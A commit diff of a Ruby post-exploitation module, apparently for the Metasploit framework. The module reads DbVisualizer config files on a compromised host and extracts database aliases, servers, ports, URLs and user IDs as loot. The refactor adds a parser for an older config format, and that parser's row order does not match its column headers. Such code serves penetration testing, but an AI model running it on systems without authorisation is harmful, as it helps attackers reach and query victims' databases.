@@ -27,21 +27,9 @@ def initialize(info={})
27
27
end
28
28
29
29
def run
30
- db_table = Rex ::Ui ::Text ::Table . new (
31
- 'Header' => "Dbvis Databases" ,
32
- 'Indent' => 2 ,
33
- 'Columns' =>
34
- [
35
- "Alias" ,
36
- "Type" ,
37
- "Server" ,
38
- "Port" ,
39
- "Database" ,
40
- "Namespace" ,
41
- "Userid" ,
42
- ] )
43
30
44
- dbs = [ ]
31
+
32
+ oldversion = false
45
33
46
34
case session . platform
47
35
when /linux/
@@ -62,7 +50,9 @@ def run
62
50
dbvis_file = user_profile + "\\ .dbvis\\ config70\\ dbvis.xml"
63
51
end
64
52
53
+
65
54
unless file? ( dbvis_file )
55
+ #File not found, we next try with the old config path
66
56
print_status ( "File not found: #{ dbvis_file } " )
67
57
print_status ( "This could be an older version of dbvis, trying old path" )
68
58
case session . platform
@@ -75,12 +65,11 @@ def run
75
65
print_error ( "File not found: #{ dbvis_file } " )
76
66
return
77
67
end
68
+ oldversion = true
78
69
end
79
-
80
- db = { }
81
- print_status ( "Reading: #{ dbvis_file } " )
82
- dbfound = false
83
70
71
+
72
+ print_status ( "Reading: #{ dbvis_file } " )
84
73
raw_xml = ""
85
74
begin
86
75
raw_xml = read_file ( dbvis_file )
@@ -89,8 +78,61 @@ def run
89
78
print_error ( "Nothing read from file: #{ dbvis_file } , file may be empty" )
90
79
return
91
80
end
81
+
82
+ if oldversion
83
+ # Parse old config file
84
+ db_table = pareseOldConfigFile ( raw_xml )
85
+ else
86
+ # Parse new config file
87
+ db_table = pareseNewConfigFile ( raw_xml )
88
+ end
92
89
93
- # read config file
90
+ if db_table . rows . empty?
91
+ print_status ( "No database settings found" )
92
+ else
93
+ print_line ( "\n " )
94
+ print_line ( db_table . to_s )
95
+ print_good ( "Try to query listed databases with dbviscmd.sh (or .bat) -connection <alias> -sql <statements> and have fun !" )
96
+ print_good ( "" )
97
+ # store found databases
98
+ p = store_loot (
99
+ "dbvis.databases" ,
100
+ "text/csv" ,
101
+ session ,
102
+ db_table . to_csv ,
103
+ "dbvis_databases.txt" ,
104
+ "dbvis databases" )
105
+ print_good ( "Databases settings stored in: #{ p . to_s } " )
106
+ end
107
+
108
+ print_status ( "Downloading #{ dbvis_file } " )
109
+ p = store_loot ( "dbvis.xml" , "text/xml" , session , read_file ( dbvis_file ) , "#{ dbvis_file } " , "dbvis config" )
110
+ print_good "dbvis.xml saved to #{ p . to_s } "
111
+ end
112
+
113
+
114
+ # New config file parse function
115
+ def pareseNewConfigFile ( raw_xml )
116
+
117
+ db_table = Rex ::Ui ::Text ::Table . new (
118
+ 'Header' => "Dbvis Databases" ,
119
+ 'Indent' => 2 ,
120
+ 'Columns' =>
121
+ [
122
+ "Alias" ,
123
+ "Type" ,
124
+ "Server" ,
125
+ "Port" ,
126
+ "Database" ,
127
+ "Namespace" ,
128
+ "Userid" ,
129
+ ] )
130
+
131
+ dbs = [ ]
132
+ db = { }
133
+ dbfound = false
134
+
135
+ # fetch config file
94
136
raw_xml . each_line do |line |
95
137
if line =~ /<Database id=/
96
138
dbfound = true
@@ -145,7 +187,7 @@ def run
145
187
end
146
188
end
147
189
148
- # print out
190
+ # FIll the tab and report eligible servers
149
191
dbs . each do |db |
150
192
if ::Rex ::Socket . is_ipv4? ( db [ :Server ] . to_s )
151
193
print_good ( "Reporting #{ db [ :Server ] } " )
@@ -154,27 +196,68 @@ def run
154
196
155
197
db_table << [ db [ :Alias ] , db [ :Type ] , db [ :Server ] , db [ :Port ] , db [ :Database ] , db [ :Namespace ] , db [ :Userid ] ]
156
198
end
199
+ return db_table
200
+ end
157
201
158
- if db_table . rows . empty?
159
- print_status ( "No database settings found" )
160
- else
161
- print_line ( "\n " )
162
- print_line ( db_table . to_s )
163
- print_good ( "Try to query listed databases with dbviscmd.sh (or .bat) -connection <alias> -sql <statements> and have fun !" )
164
- print_good ( "" )
165
- # store found databases
166
- p = store_loot (
167
- "dbvis.databases" ,
168
- "text/csv" ,
169
- session ,
170
- db_table . to_csv ,
171
- "dbvis_databases.txt" ,
172
- "dbvis databases" )
173
- print_good ( "Databases settings stored in: #{ p . to_s } " )
202
+
203
+ # New config file parse function
204
+ def pareseOldConfigFile ( raw_xml )
205
+
206
+ db_table = Rex ::Ui ::Text ::Table . new (
207
+ 'Header' => "Dbvis Databases" ,
208
+ 'Indent' => 2 ,
209
+ 'Columns' =>
210
+ [
211
+ "Alias" ,
212
+ "Type" ,
213
+ "Url" ,
214
+ "Userid" ,
215
+ ] )
216
+
217
+ dbs = [ ]
218
+ db = { }
219
+ dbfound = false
220
+
221
+ # fetch config file
222
+ raw_xml . each_line do |line |
223
+ if line =~ /<Database id=/
224
+ dbfound = true
225
+ elsif line =~ /<\/ Database>/
226
+ dbfound = false
227
+ # save
228
+ dbs << db if ( db [ :Alias ] and db [ :Url ] )
229
+ db = { }
230
+ end
231
+
232
+ if dbfound == true
233
+ # get the alias
234
+ if ( line =~ /<Alias>([\S +\s +]+)<\/ Alias>/i )
235
+ db [ :Alias ] = $1
236
+ end
237
+
238
+ # get the type
239
+ if ( line =~ /<Type>([\S +\s +]+)<\/ Type>/i )
240
+ db [ :Type ] = $1
241
+ end
242
+
243
+ # get the user
244
+ if ( line =~ /<Userid>([\S +\s +]+)<\/ Userid>/i )
245
+ db [ :Userid ] = $1
246
+ end
247
+
248
+ # get the user
249
+ if ( line =~ /<Url>([\S +\s +]+)<\/ Url>/i )
250
+ db [ :Url ] = $1
251
+ end
252
+ end
174
253
end
175
254
176
- print_status ( "Downloading #{ dbvis_file } " )
177
- p = store_loot ( "dbvis.xml" , "text/xml" , session , read_file ( dbvis_file ) , "#{ dbvis_file } " , "dbvis config" )
178
- print_good "dbvis.xml saved to #{ p . to_s } "
255
+ # Fill the tab
256
+ dbs . each do |db |
257
+ db_table << [ db [ :Alias ] , db [ :Type ] , db [ :Userid ] , db [ :Url ] ]
258
+ end
259
+ return db_table
179
260
end
261
+
262
+
180
263
end
0 commit comments